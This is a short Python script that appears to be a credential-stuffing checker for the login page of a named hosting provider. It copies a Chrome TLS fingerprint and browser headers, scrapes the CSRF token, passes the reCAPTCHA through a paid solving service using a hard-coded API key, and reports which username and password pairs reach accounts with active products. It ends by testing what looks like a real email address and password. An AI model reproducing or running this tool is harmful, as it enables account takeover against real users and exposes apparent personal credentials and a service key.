from capmonster_python import RecaptchaV2Task import tls_client session = tls_client.Session( client_identifier="chrome_120", random_tls_extension_order=True ) def getCsrfToken(): response = session.get("https://www.alastyr.com/secure/index.php/login") return response.text.split("var csrfToken = '")[1].split("'")[0] def getCaptchaToken(): capmonster = RecaptchaV2Task("0450c831b027427fd8f598c6eae7ba78") task_id = capmonster.create_task("https://www.alastyr.com/secure/index.php/login", "6LcbXrMUAAAAAMGry0r-lo9Hs0ckEilppcNrEC48") result = capmonster.join_task_result(task_id) return result.get('gRecaptchaResponse') def check(username, password): headers = { 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-language': 'en-US,en;q=0.9', 'cache-control': 'max-age=0', 'content-type': 'application/x-www-form-urlencoded', 'origin': 'https://www.alastyr.com', 'priority': 'u=0, i', 'referer': 'https://www.alastyr.com/secure/index.php/login', 'sec-ch-ua': '"Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"macOS"', 'sec-fetch-dest': 'document', 'sec-fetch-mode': 'navigate', 'sec-fetch-site': 'same-origin', 'sec-fetch-user': '?1', 'upgrade-insecure-requests': '1', 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36', } data = { 'token': getCsrfToken(), 'username': username, 'password': password, 'g-recaptcha-response': getCaptchaToken(), } response = session.post('https://www.alastyr.com/secure/index.php/login', headers=headers, data=data, allow_redirects=True) if response.text.__contains__('Aktif'): print(username + ':' + password + ' aktif ürün') check('ufukocak58@gmail.com', 'SAFDsafdasDFaSF123!')